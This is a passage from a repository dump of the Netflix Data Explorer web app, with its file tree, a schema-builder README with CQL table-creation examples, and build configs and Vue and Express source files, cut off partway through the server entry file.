"CassandraNoFieldsToUpdate.ts"}, {"type": "file", "name": "CassandraNoHostAvailableError.ts"}, {"type": "file", "name": "CassandraPrimaryKeyMissing.ts"}, {"type": "file", "name": "CassandraQueryError.ts"}, {"type": "file", "name": "CassandraStatementNotAllowed.ts"}, {"type": "file", "name": "CassandraStatementUnparseableError.ts"}, {"type": "file", "name": "CassandraTableCreationError.ts"}, {"type": "file", "name": "CassandraTableDropError.ts"}, {"type": "file", "name": "CassandraTableNotFound.ts"}, {"type": "file", "name": "CassandraTableSchemaValidationError.ts"}, {"type": "file", "name": "CassandraTableTruncateError.ts"}, {"type": "file", "name": "index.ts"}]}, {"type": "directory", "name": "modules", "children": [{"type": "file", "name": "blob.ts"}, {"type": "file", "name": "columns.ts"}, {"type": "file", "name": "keys.ts"}, {"type": "file", "name": "keyspaces.ts"}, {"type": "directory", "name": "query-builder", "children": [{"type": "file", "name": "alias.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "insert.ts"}, {"type": "file", "name": "select.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "insert.spec.ts"}, {"type": "file", "name": "query-builder.spec.ts"}]}]}, {"type": "directory", "name": "schema-builder", "children": [{"type": "directory", "name": "compaction", "children": [{"type": "file", "name": "CompactionOptions.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "LeveledCompactionStrategyOptions.ts"}, {"type": "file", "name": "SizeTieredCompactionStrategyOptions.ts"}, {"type": "file", "name": "TimeWindowCompactionStrategyOptions.ts"}]}, {"type": "file", "name": "CompressionOptions.ts"}, {"type": "file", "name": "Create.ts"}, {"type": "file", "name": "CreateTableOptions.ts"}, {"type": "file", "name": "README.MD"}, {"type": "file", "name": "SchemaBuilder.ts"}, {"type": "file", "name": "SchemaStatement.ts"}, {"type": "file", "name": "TableOptions.ts"}, {"type": "file", "name": "Version.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "SchemaBuilder.spec.ts"}]}]}, {"type": "file", "name": "schema.ts"}, {"type": "file", "name": "statement.ts"}, {"type": "file", "name": "tables.ts"}, {"type": "file", "name": "types.ts"}]}, {"type": "directory", "name": "policies", "children": [{"type": "file", "name": "NoRetryPolicy.ts"}]}, {"type": "directory", "name": "providers", "children": [{"type": "directory", "name": "client", "children": [{"type": "file", "name": "CustomCassandraClientOptionsProvider.ts"}, {"type": "file", "name": "EC2CassandraClientOptionsProvider.ts"}, {"type": "file", "name": "ICassandraClientOptionsProvider.ts"}, {"type": "file", "name": "LocalCassandraClientOptionsProvider.ts"}]}, {"type": "directory", "name": "metrics", "children": [{"type": "file", "name": "CustomCassandraMetricsProvider.ts"}, {"type": "file", "name": "ICassandraMetricsProvider.ts"}]}]}, {"type": "file", "name": "restricted-queries.ts"}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "cluster-utils.ts"}, {"type": "file", "name": "export-utils.ts"}, {"type": "file", "name": "query-utils.ts"}, {"type": "file", "name": "result-utils.ts"}, {"type": "file", "name": "row-utils.ts"}, {"type": "file", "name": "schema-utils.ts"}, {"type": "file", "name": "statement-utils.ts"}, {"type": "file", "name": "type-utils.ts"}, {"type": "file", "name": "validation-utils.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "statement-utils.spec.ts"}]}]}]}, {"type": "directory", "name": "typings", "children": [{"type": "file", "name": "cassandra.d.ts"}]}]}, {"type": "directory", "name": "dynomite", "children": [{"type": "file", "name": "index.ts"}, {"type": "directory", "name": "lib", "children": [{"type": "file", "name": "collections.ts"}, {"type": "file", "name": "Cursor.ts"}, {"type": "file", "name": "dynomite-constants.ts"}, {"type": "file", "name": "DynomiteCluster.ts"}, {"type": "file", "name": "DynomiteExplorer.ts"}, {"type": "file", "name": "DynomiteTypes.ts"}, {"type": "directory", "name": "errors", "children": [{"type": "file", "name": "FieldOperationsNotSupportedForTypeError.ts"}, {"type": "file", "name": "index.ts"}, {"type": "file", "name": "KeyExistsError.ts"}, {"type": "file", "name": "KeyNotFoundError.ts"}, {"type": "file", "name": "KeyTooLargeError.ts"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "redis-info-utils.ts"}, {"type": "file", "name": "scan-utils.ts"}, {"type": "file", "name": "ScanAggregator.ts"}]}]}, {"type": "directory", "name": "typings", "children": [{"type": "file", "name": "dynomite.d.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "DynomiteExplorer.spec.ts"}]}]}]}, {"type": "directory", "name": "discovery", "children": [{"type": "file", "name": "DiscoveryService.ts"}, {"type": "file", "name": "index.ts"}, {"type": "directory", "name": "providers", "children": [{"type": "file", "name": "BaseDiscoveryProvider.ts"}, {"type": "file", "name": "CustomDiscoveryProvider.ts"}, {"type": "file", "name": "EnvironmentDiscoveryProvider.ts"}, {"type": "file", "name": "FileSystemDiscoveryProvider.ts"}, {"type": "file", "name": "LocalDiscoveryProvider.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "DiscoveryService.spec.ts"}]}]}, {"type": "directory", "name": "entity-acls", "children": [{"type": "file", "name": "EntityAccessControlCache.ts"}, {"type": "file", "name": "EntityAccessControlService.ts"}, {"type": "directory", "name": "providers", "children": [{"type": "file", "name": "DefaultEntityAccessControlLoader.ts"}, {"type": "file", "name": "DefaultEntityAccessControlServiceProvider.ts"}, {"type": "file", "name": "EntityAccessControlProvider.ts"}]}, {"type": "directory", "name": "typings", "children": [{"type": "file", "name": "entity-acls.d.ts"}]}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "EntityAccessControlCache.spec.ts"}, {"type": "file", "name": "EntityAccessControlService.spec.ts"}]}]}, {"type": "directory", "name": "explorer", "children": [{"type": "file", "name": "ExplorerCache.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "ExplorerCache.spec.ts"}]}]}, {"type": "directory", "name": "user", "children": [{"type": "directory", "name": "providers", "children": [{"type": "file", "name": "DefaultUserCacheProvider.ts"}, {"type": "file", "name": "IUserCacheProvider.ts"}]}, {"type": "file", "name": "UserGroupCache.ts"}]}]}, {"type": "directory", "name": "shared", "children": [{"type": "directory", "name": "cassandra", "children": [{"type": "file", "name": "collection-utils.ts"}]}, {"type": "file", "name": "shared-constants.ts"}]}, {"type": "directory", "name": "typings", "children": [{"type": "file", "name": "enums.ts"}, {"type": "file", "name": "express.d.ts"}, {"type": "file", "name": "store.d.ts"}, {"type": "file", "name": "superagent.d.ts"}, {"type": "file", "name": "typings.d.ts"}, {"type": "file", "name": "vue-tables-pagination.d.ts"}]}, {"type": "directory", "name": "utils", "children": [{"type": "file", "name": "acl-utils.ts"}, {"type": "file", "name": "app-utils.ts"}, {"type": "file", "name": "auth-utils.ts"}, {"type": "file", "name": "cde-utils.ts"}, {"type": "file", "name": "class-loader-utils.ts"}, {"type": "file", "name": "explorer-utils.ts"}, {"type": "file", "name": "lodash-utils.ts"}, {"type": "file", "name": "request-utils.ts"}, {"type": "file", "name": "response-utils.ts"}, {"type": "file", "name": "set-utils.ts"}, {"type": "file", "name": "user-utils.ts"}, {"type": "directory", "name": "__tests__", "children": [{"type": "file", "name": "acl-utils.spec.ts"}, {"type": "file", "name": "class-loader-utils.spec.ts"}, {"type": "file", "name": "cluster-acl.spec.ts"}, {"type": "directory", "name": "helpers", "children": [{"type": "file", "name": "auth-helper.ts"}, {"type": "file", "name": "entity-helper.ts"}, {"type": "file", "name": "user-helper.ts"}]}, {"type": "file", "name": "request-utils.spec.ts"}]}]}]}]}, {"type": "file", "name": "tsconfig.base.json"}, {"type": "file", "name": "tsconfig.json"}, {"type": "file", "name": "yarn.lock"}]} | # Overview
The schema-builder package fills a gap in the current cassandra driver which doesn't provide schema creation support.
I've attempted to port some of the Java schemabuilder interfaces in anticipation of future support in the cassandra
driver. We may be able to submit a PR back to them for this support.
## Examples
### Simple create statement
```
const statement = SchemaBuilder.createTable('school', 'students');
.addPartitionColumn('user', 'varchar')
.addClusteringColumn('school', 'varchar')
.addStaticColumn('grade', 'float');
console.log(statement.getQueryString());
```
### Create with options
```
const statement = SchemaBuilder.createTable('school', 'students');
.addPartitionColumn('user', 'varchar')
.addClusteringColumn('school', 'varchar')
.addStaticColumn('grade', 'float')
.withOptions()
.comment('description of user table')
.compactStorage()
.clusteringOrder('school', 'DESC');
console.log(statement.getQueryString());
```
### Complex example
```
const statement = SchemaBuilder.createTable(keyspace, tableName)
.addPartitionColumn('account', 'int')
.addClusteringColumn('firstName', 'varchar')
.addClusteringColumn('lastName', 'varchar')
.addStaticColumn('address', 'varchar')
.addStaticColumn('state', 'varchar')
.withOptions()
.compactionOptions(SchemaBuilder.leveledStrategy())
.gcGraceSeconds(8000)
.bloomFilterFPChance(0.01)
.defaultTtl(100)
.clusteringOrder('firstName', 'DESC');
console.log(statement.getQueryString());
```
| {"Dockerfile": "# BUILD STAGE\nFROM node:12-slim AS build-stage\nLABEL stage=build-stage\n\nWORKDIR /tmp/server\nCOPY package.json yarn.lock ./\nCOPY src/client/package.json src/client/yarn.lock ./src/client/\nRUN yarn install --frozen-lockfile\n\nCOPY . ./\nRUN yarn && yarn build\n\n# PROD STAGE\nFROM node:12-slim AS prod-stage\nRUN apt-get update && apt-get install -y procps\n\nWORKDIR /apps/nf-data-explorer\n\nCOPY --from=build-stage /tmp/server/dist ./dist\nCOPY --from=build-stage /tmp/server/node_modules ./node_modules\nCOPY --from=build-stage /tmp/server/package.json ./package.json\nCOPY --from=build-stage /tmp/server/schema/discovery-schema.json ./schema/discovery-schema.json\n\n", "jest-express-app.config.js": "module.exports = {\n displayName: 'express-app',\n roots: ['<rootDir>/src/server'],\n transform: {\n '^.+\\\\.tsx?$': 'ts-jest',\n },\n testRegex: '(/(config|model|routes)(/.*)?)(/__tests__/.*spec).ts$',\n moduleNameMapper: {\n '^@/(.*)$': '<rootDir>/src/server/$1',\n },\n moduleFileExtensions: ['ts', 'js', 'json', 'node'],\n setupFilesAfterEnv: ['<rootDir>/jest-setup-express.ts'],\n coveragePathIgnorePatterns: ['.*\\\\/__tests__\\\\/.*'],\n};\n", "package.json": "{\n \"name\": \"nf-data-explorer-2\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"main\": \"dist/index.js\",\n \"scripts\": {\n \"build\": \"gulp build\",\n \"ci\": \"yarn clean && yarn install --frozen-lockfile && yarn build && yarn test\",\n \"clean\": \"gulp clean\",\n \"dev\": \"gulp dev\",\n \"setup\": \"node install/install.js\",\n \"start\": \"export NODE_PATH=./dist && node --max-http-header-size=81920 dist/index.js\",\n \"docker:taillogs\": \"docker-compose -f docker-compose.dev.yml logs -f\",\n \"docker:build\": \"docker-compose -f docker-compose.demo.yml build\",\n \"docker:demo\": \"docker-compose -f docker-compose.demo.yml up -d && open http://localhost\",\n \"docker:dev\": \"docker-compose -f docker-compose.dev.yml up -d\",\n \"lint\": \"eslint './src/server/**/*.ts' && cd src/client && yarn lint\",\n \"postinstall\": \"cd src/client && yarn install --frozen-lockfile\",\n \"test\": \"gulp test\",\n \"test:unit\": \"jest\",\n \"tsc\": \"tsc\"\n },\n \"dependencies\": {\n \"ajv\": \"7.0.3\",\n \"body-parser\": \"1.19.0\",\n \"cassandra-driver\": \"4.6.1\",\n \"compression\": \"1.7.4\",\n \"cors\": \"2.8.5\",\n \"express\": \"4.17.1\",\n \"file-type\": \"16.0.1\",\n \"helmet\": \"4.2.0\",\n \"i18next\": \"19.8.4\",\n \"ioredis\": \"4.19.2\",\n \"istextorbinary\": \"5.12.0\",\n \"lodash\": \"4.17.21\",\n \"lru-cache\": \"6.0.0\",\n \"module-alias\": \"2.2.2\",\n \"multer\": \"1.4.2\",\n \"nocache\": \"2.1.0\",\n \"winston\": \"3.3.3\"\n },\n \"devDependencies\": {\n \"@types/body-parser\": \"1.19.0\",\n \"@types/compression\": \"1.7.0\",\n \"@types/cors\": \"2.8.9\",\n \"@types/express\": \"4.17.1\",\n \"@types/gulp\": \"4.0.8\",\n \"@types/gulp-nodemon\": \"^0.0.32\",\n \"@types/inquirer\": \"7.3.1\",\n \"@types/ioredis\": \"4.17.8\",\n \"@types/istextorbinary\": \"2.3.0\",\n \"@types/jest\": \"26.0.19\",\n \"@types/lodash\": \"4.14.165\",\n \"@types/lru-cache\": \"5.1.0\",\n \"@types/multer\": \"1.4.5\",\n \"@types/node\": \"12.12.24\",\n \"@types/supertest\": \"2.0.10\",\n \"@typescript-eslint/eslint-plugin\": \"4.9.1\",\n \"@typescript-eslint/parser\": \"4.9.1\",\n \"chalk\": \"4.1.0\",\n \"clear\": \"0.1.0\",\n \"concurrently\": \"5.3.0\",\n \"del\": \"6.0.0\",\n \"detect-port\": \"1.3.0\",\n \"eslint\": \"7.15.0\",\n \"eslint-config-prettier\": \"7.0.0\",\n \"eslint-plugin-prettier\": \"3.2.0\",\n \"gulp\": \"^4.0.2\",\n \"gulp-nodemon\": \"^2.5.0\",\n \"inquirer\": \"7.3.3\",\n \"jest\": \"26.6.3\",\n \"ora\": \"5.1.0\",\n \"pre-commit\": \"1.2.2\",\n \"prettier\": \"2.0.4\",\n \"supertest\": \"6.0.1\",\n \"ts-jest\": \"26.4.4\",\n \"typescript\": \"4.1.2\"\n },\n \"pre-commit\": [\n \"test\",\n \"lint\"\n ],\n \"_moduleAliases\": {\n \"@\": \"./dist\",\n \"@generated\": \"./dist/proto/generated/netflix\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\client\\package.json": "{\n \"name\": \"nf-data-explorer-2\",\n \"version\": \"0.1.0\",\n \"private\": true,\n \"scripts\": {\n \"serve\": \"NODE_OPTIONS='--max-http-header-size=81920' vue-cli-service serve\",\n \"build\": \"vue-cli-service build\",\n \"test:unit\": \"vue-cli-service test:unit\",\n \"lint\": \"vue-cli-service lint\"\n },\n \"dependencies\": {\n \"@fortawesome/fontawesome-svg-core\": \"1.2.32\",\n \"@fortawesome/free-regular-svg-icons\": \"5.15.1\",\n \"@fortawesome/free-solid-svg-icons\": \"5.15.1\",\n \"@fortawesome/vue-fontawesome\": \"2.0.0\",\n \"@netflix/element-theme\": \"^2.12.0\",\n \"@sentry/browser\": \"5.29.1\",\n \"@sentry/integrations\": \"5.29.1\",\n \"ace-builds\": \"1.4.8\",\n \"async-validator\": \"3.5.1\",\n \"axios\": \"0.21.1\",\n \"chart.js\": \"2.9.4\",\n \"chartjs-plugin-annotation\": \"0.5.7\",\n \"date-fns\": \"2.16.1\",\n \"delay\": \"4.4.0\",\n \"element-ui\": \"2.13.1\",\n \"flat\": \"5.0.2\",\n \"lodash.debounce\": \"4.0.8\",\n \"lodash.get\": \"4.4.2\",\n \"lodash.merge\": \"4.6.2\",\n \"lodash.startcase\": \"4.4.0\",\n \"numeral\": \"2.0.6\",\n \"p-retry\": \"4.2.0\",\n \"portal-vue\": \"^2.1.7\",\n \"register-service-worker\": \"1.7.2\",\n \"splitpanes\": \"2.3.6\",\n \"vue\": \"2.6.12\",\n \"vue-chartjs\": \"3.5.1\",\n \"vue-i18n\": \"8.22.2\",\n \"vue-router\": \"3.4.9\",\n \"vue-shortkey\": \"3.1.7\",\n \"vue-tables-2\": \"1.5.46\",\n \"vue-virtual-scroller\": \"1.0.10\",\n \"vuedraggable\": \"2.24.3\",\n \"vuex\": \"3.6.0\"\n },\n \"devDependencies\": {\n \"@babel/plugin-proposal-optional-chaining\": \"^7.12.7\",\n \"@types/flat\": \"5.0.1\",\n \"@types/jest\": \"26.0.19\",\n \"@types/lodash\": \"4.14.149\",\n \"@types/node\": \"12.12.6\",\n \"@typescript-eslint/eslint-plugin\": \"4.10.0\",\n \"@typescript-eslint/parser\": \"4.10.0\",\n \"@vue/cli-plugin-babel\": \"4.5.9\",\n \"@vue/cli-plugin-eslint\": \"4.5.9\",\n \"@vue/cli-plugin-pwa\": \"~4.5.0\",\n \"@vue/cli-plugin-typescript\": \"4.5.9\",\n \"@vue/cli-plugin-unit-jest\": \"4.5.9\",\n \"@vue/cli-service\": \"4.5.9\",\n \"@vue/eslint-config-prettier\": \"6.0.0\",\n \"@vue/eslint-config-typescript\": \"5.0.2\",\n \"@vue/test-utils\": \"1.1.2\",\n \"babel-core\": \"7.0.0-bridge.0\",\n \"babel-plugin-component\": \"1.1.1\",\n \"eslint\": \"7.15.0\",\n \"eslint-plugin-prettier\": \"3.3.0\",\n \"eslint-plugin-vue\": \"7.3.0\",\n \"lint-staged\": \"10.5.3\",\n \"opn\": \"^6.0.0\",\n \"prettier\": \"2.0.4\",\n \"ts-jest\": \"26.4.4\",\n \"typescript\": \"4.1.2\",\n \"vue-template-compiler\": \"2.6.12\"\n },\n \"browserslist\": [\n \"last 3 Chrome versions\",\n \"last 3 Firefox versions\",\n \"last 2 Safari versions\"\n ],\n \"gitHooks\": {\n \"pre-commit\": \"lint-staged\"\n },\n \"lint-staged\": {\n \"*.{js,vue,ts}\": [\n \"vue-cli-service lint\"\n ]\n }\n}\n", "src\\client\\public\\index.html": "<!DOCTYPE html>\n<html>\n\n<head>\n <meta charset=\"utf-8\">\n <link rel=\"icon\" href=\"<%= BASE_URL %>favicon.ico\">\n <title>Netflix | Data Explorer</title>\n</head>\n\n<body class=\"fullbleed\">\n <div id=\"app\"></div>\n <!-- built files will be auto injected -->\n</body>\n\n</html>", "src\\client\\src\\App.vue": "<template>\n <div v-if=\"!isLoggedIn\" class=\"vertical center-center full-height layout\">\n <h1 :class=\"$style.title\">Netflix Data Explorer</h1>\n <h2 :class=\"$style.subtitle\">Signing in...</h2>\n </div>\n <div v-else id=\"app\">\n <TheNav />\n <notification-element app-id=\"nfdataexplorer2\"></notification-element>\n <main class=\"vertical layout flex\">\n <router-view />\n </main>\n </div>\n</template>\n<script lang=\"ts\">\nimport Vue from 'vue';\nimport { MessageBox } from 'element-ui';\nimport TheNav from '@/components/TheNav.vue';\nimport { ActionTypes } from '@/store/actions';\nimport store from '@/store';\nimport { notify } from '@/utils/message-utils';\nimport { NotificationType } from '@/typings/notifications';\n\nexport default Vue.extend({\n name: 'App',\n components: {\n TheNav,\n },\n data() {\n return {\n isLoggedIn: false,\n refreshTokenTimeoutId: -1,\n };\n },\n computed: {\n userEmail(): string | undefined {\n return store.state.user.email;\n },\n isSessionInvalidated(): boolean {\n return store.state.user.isSessionInvalidated;\n },\n clusterName(): string {\n return this.$route.params.clusterName;\n },\n datastoreScope(): string | undefined {\n const routePieces = this.$route.fullPath.split('/');\n if (routePieces.length < 2 || routePieces[1].length === 0) {\n return undefined;\n }\n return routePieces[1];\n },\n },\n watch: {\n async userEmail(userEmail: string) {\n this.isLoggedIn = !!userEmail;\n if (this.isLoggedIn) {\n this.startTokenRefreshTimer();\n\n try {\n await Promise.all([\n store.dispatch(ActionTypes.FetchEnvironments),\n store.dispatch(ActionTypes.FetchClusters),\n ]);\n } catch (err) {\n notify(\n NotificationType.Error,\n 'Failed to load environment',\n process.env.NODE_ENV === 'production'\n ? err.message\n : 'Is the node server running?',\n );\n }\n }\n },\n isSessionInvalidated() {\n this.clearTokenRefreshTimer();\n MessageBox.alert(\n `We'll need to reload the app to start a new session.`,\n 'Session Expired',\n {\n confirmButtonText: 'Continue',\n type: 'warning',\n showClose: false,\n },\n ).then(() => {\n window.location.reload(true);\n });\n },\n clusterName: {\n immediate: true,\n handler(newClusterName, oldClusterName) {\n if (newClusterName === oldClusterName) return;\n store.dispatch(ActionTypes.SetCurrentCluster, {\n name: newClusterName,\n });\n },\n },\n datastoreScope: {\n immediate: true,\n handler(newDatastoreType, oldDatastoreType) {\n if (newDatastoreType === oldDatastoreType) return;\n store.dispatch(ActionTypes.SetDatastoreScope, {\n datastoreType: newDatastoreType,\n });\n },\n },\n },\n created() {\n store.dispatch(ActionTypes.FetchUserInfo);\n },\n methods: {\n startTokenRefreshTimer() {\n this.clearTokenRefreshTimer();\n this.refreshTokenTimeoutId = window.setTimeout(() => {\n store.dispatch(ActionTypes.FetchUserInfo);\n this.startTokenRefreshTimer();\n }, 15 * 60 * 1000);\n },\n\n clearTokenRefreshTimer() {\n if (this.refreshTokenTimeoutId) {\n window.clearTimeout(this.refreshTokenTimeoutId);\n }\n },\n },\n});\n</script>\n<style module>\n.title {\n margin: 0;\n}\n\n.subtitle {\n margin-bottom: var(--space-9);\n font-weight: var(--text-normal);\n}\n</style>\n", "src\\client\\src\\main.ts": "import App from '@/App.vue';\nimport '@/assets/styles.css';\nimport router from '@/router/index';\nimport registerDynamicComponents from '@/setup/dynamic-components';\nimport store from '@/store/index';\nimport '@netflix/element-theme/lib/index.css';\nimport { Loading } from 'element-ui';\nimport locale from 'element-ui/lib/locale';\nimport lang from 'element-ui/lib/locale/lang/en';\nimport Vue from 'vue';\nimport i18n from './i18n';\nimport './registerServiceWorker';\nimport '@netflix/element-theme/lib/index.css';\nimport '@/assets/styles.css';\nimport { FontAwesomeIcon } from '@fortawesome/vue-fontawesome';\nimport { library } from '@fortawesome/fontawesome-svg-core';\nimport icons from '@/icons';\nimport 'splitpanes/dist/splitpanes.css';\nimport PortalVue from 'portal-vue';\n\nVue.config.productionTip = false;\nVue.use(Loading.directive);\nlocale.use(lang);\nVue.prototype.$ELEMENT = { size: 'small' };\n\n// eslint-disable-next-line vue/component-definition-name-casing\nVue.component('font-awesome-icon', FontAwesomeIcon);\nlibrary.add(...icons);\nVue.use(PortalVue);\nregisterDynamicComponents();\n\nnew Vue({\n i18n,\n router,\n store,\n render: (h) => h(App),\n}).$mount('#app');\n", "src\\client\\src\\filters\\index.ts": "export { capitalize } from 'lodash';\nimport numeral from 'numeral';\nimport { formatDistance } from 'date-fns';\n\nexport function formatNumber(\n value: number | undefined,\n format?: string,\n): string {\n if (value === undefined || value === null) {\n return 'N/A';\n }\n return numeral(value).format(format);\n}\n\nexport function formatBytes(value: number | undefined): string {\n return formatNumber(value, '0,0.0b');\n}\n\nexport function formatHuman(value: number | undefined): string {\n return formatNumber(value, '0,0a');\n}\n\nexport function dateTimeFilter(dateValue: Date): string {\n if (!dateValue) {\n return '';\n }\n return dateValue.toLocaleString('en-US', {\n year: 'numeric',\n month: 'short',\n day: 'numeric',\n hour: 'numeric',\n minute: 'numeric',\n second: 'numeric',\n });\n}\n\nexport function dateTimeDistanceFilter(dateValue: Date): string {\n return formatDistance(dateValue, Date.now(), { addSuffix: true });\n}\n\nexport function dateTimeAndDistanceFilter(dateValue: Date): string {\n return `${dateTimeFilter(dateValue)} (${dateTimeDistanceFilter(dateValue)})`;\n}\n", "src\\client\\src\\i18n\\index.ts": "import Vue from 'vue';\nimport VueI18n from 'vue-i18n';\nimport enUS from './locales/en-US';\n\nVue.use(VueI18n);\n\nexport default new VueI18n({\n locale: 'en-US',\n fallbackLocale: 'en-US',\n silentTranslationWarn: true,\n messages: {\n 'en-US': enUS,\n },\n});\n", "src\\client\\src\\router\\index.ts": "import { Routes } from '@/router/routes';\nimport store from '@/store';\nimport { IAppState } from '@/typings/store';\nimport { buildBreadcrumbsFromRoute } from '@/utils/route-utils';\nimport Vue from 'vue';\nimport Router from 'vue-router';\nimport { adminRoutes } from './admin-routes';\nimport { cassandraRoutes } from './cassandra-routes';\nimport { dynomiteRoutes } from './dynomite-routes';\n\nVue.use(Router);\n\nconst router = new Router({\n mode: 'history',\n routes: [\n {\n path: '/',\n name: Routes.Datastores,\n component: () =>\n import(/* webpackChunkName: 'common' */ '@/views/DatastoresView.vue'),\n },\n cassandraRoutes,\n dynomiteRoutes,\n adminRoutes,\n ],\n});\n\nconst DEFAULT_ROUTE_NAME = Routes.Datastores;\n\nrouter.beforeEach((to, _from, next) => {\n function transition() {\n const user = store.state.user;\n if (to.matched.some((route) => route.meta.requiresAdmin) && !user.isAdmin) {\n next({ name: DEFAULT_ROUTE_NAME });\n } else {\n document.title = [\n 'Data Explorer',\n ...buildBreadcrumbsFromRoute(to).map((crumb) => crumb.label),\n ].join(' | ');\n next();\n }\n }\n\n if (!store.state.user.email) {\n store.watch(\n (state: IAppState) => state.user.email,\n () => transition(),\n );\n } else {\n transition();\n }\n});\n\nrouter.onError((err) => {\n // If a lazy-loaded chunk failed to load, it's probably because a deployment\n // happened under the covers and caused the chunkhash to change.\n // So perform a full page refresh to get the latest version of the code.\n if (err.message && err.message.startsWith('Loading chunk')) {\n window.location.reload(true);\n }\n});\n\nexport default router;\n", "src\\client\\src\\store\\index.ts": "import cassandra from '@/store/modules/cassandra/index';\nimport config from '@/store/modules/config';\nimport user from '@/store/modules/user';\nimport { IAppState } from '@/typings/store';\nimport Vue from 'vue';\nimport Vuex from 'vuex';\n\nVue.use(Vuex);\n\nconst isDebug = process.env.NODE_ENV !== 'production';\n\nexport default new Vuex.Store<IAppState>({\n modules: {\n config,\n cassandra,\n user,\n },\n strict: isDebug,\n});\n", "src\\client\\src\\store\\modules\\cassandra\\index.ts": "import { getFeatures } from '@/services/cassandra/CassService';\nimport { ActionTypes } from '@/store/actions';\nimport cluster from '@/store/modules/cassandra/cluster';\nimport explore from '@/store/modules/cassandra/explore';\nimport query from '@/store/modules/cassandra/query';\nimport {\n IAppState,\n ICassClusterModuleState,\n ICassExploreModuleState,\n ICassModuleState,\n ICassQueryModuleState,\n} from '@/typings/store';\nimport { ICassandraFeatureMap } from '@cassandratypes/cassandra';\nimport { ActionTree, Module, MutationTree } from 'vuex';\n\nconst SET_FEATURES = 'SET_FEATURES';\n\nconst initialState: ICassModuleState = {\n cluster: {} as ICassClusterModuleState,\n explore: {} as ICassExploreModuleState,\n features: {} as ICassandraFeatureMap,\n query: {} as ICassQueryModuleState,\n};\n\nconst actions: ActionTree<ICassModuleState, IAppState> = {\n async [ActionTypes.FetchCassandraFeatures]({ commit }) {\n const features = await getFeatures();\n commit(SET_FEATURES, { features });\n },\n};\n\nconst mutations: MutationTree<ICassModuleState> = {\n [SET_FEATURES](state: ICassModuleState, { features }) {\n state.features = features;\n },\n};\n\nexport default {\n modules: {\n cluster,\n explore,\n query,\n },\n state: initialState,\n actions,\n mutations,\n} as Module<ICassModuleState, IAppState>;\n", "src\\client\\tests\\unit\\App.spec.ts": "import App from '@/App.vue';\nimport registerDynamicComponents from '@/setup/dynamic-components';\nimport user from '@/store/modules/user';\nimport { createLocalVue, shallowMount } from '@vue/test-utils';\nimport VueRouter from 'vue-router';\nimport Vuex from 'vuex';\n\njest.mock('@/services/user/UserService');\n\nconst localVue = createLocalVue();\nlocalVue.use(Vuex);\nlocalVue.use(VueRouter);\n\nregisterDynamicComponents();\n\nconst router = new VueRouter();\n\ndescribe('App', () => {\n let store;\n beforeEach(() => {\n store = new Vuex.Store({ modules: { user } });\n });\n\n it('should perform a user login on creation', (done) => {\n const wrapper = shallowMount(App, { store, localVue, router });\n expect(wrapper.text()).toContain('Netflix Data Explorer Signing in...');\n\n setTimeout(() => {\n try {\n expect(wrapper.find('#app').isVisible()).toBeTruthy();\n done();\n } catch (error) {\n done(error);\n }\n });\n });\n});\n", "src\\server\\index.ts": "/* eslint-disable @typescript-eslint/no-var-requires */\nrequire('module-alias/register');\n// need this to be synchronous and initialized first\nrequire('@/config/configuration').init();\n// logger depends on configuration and must be setup before all other services\nrequire('@/config/logger').init();\n// loading i18n support up front simplifies usage in the rest of the app\nrequire('@/i18n').setupi18n();\n\nimport { setupErrorHandlers } from '@/config/error-handlers';\nimport loggerFactory from '@/config/logger';\nimport { setupMiddleware } from '@/config/middlewares';\nimport { setupServices } from '@/config/services';\nimport { setupEnv } from '@/config/setup-env';\nimport routes from '@/routes';\nimport express, { Application, Request, Response } from 'express';\nimport noCache from 'nocache';\nimport { join } from 'path';\nimport { getConfig } from './config/configuration';\nimport { getStore } from './model/store';\nimport { State } from './typings/enums';\n\nconst { APP_NAME, APP_PORT } = getConfig();\n\nconst logger = loggerFactory(module);\n\nconst app = express();\n\nsetupEnv(app);\n\nfunction healthcheck(_req: Request, res: Response) {\n const { discovery } = getStore();\n const { clusters, status: discoveryStatus } = discovery;\n const noClustersFound = !clusters || Object.keys(clusters).length === 0;\n\n const { accessControl } = getStore();\n const { status: aclStatus, clusterAclMap } = accessControl;\n const noAclInfo = !clusterAclMap || Object.keys(clusterAclMap).length === 0;\n\n if (discoveryStatus === State.LOADING || aclStatus === State.LOADING) {\n return res.status(204).send();\n } else if (noClustersFound && discoveryStatus === State.ERROR) {\n return res\n .status(500)\n .send('No clusters found and last discovery attempt failed.');\n } else if (noAclInfo && aclStatus === State.ERROR) {\n return res\n .status(500)\n .send(\n 'No cluster access control information found and last retrieval attempt failed.',\n );\n } else if (discoveryStatus === State.ERROR) {\n return res.status(203).send('Last discovery attempt failed.');\n } else if (aclStatus === State.ERROR) {\n return res.status(203).send('Last ACL request attempt failed.');\n }\n\n return res.status(200).send('OK!');\n}\n\nconst appPromise: Promise<Application> = new Promise((resolve, reject) => {\n setupServices(app)\n .then(() => {\n app.get('/healthcheck', noCache(), 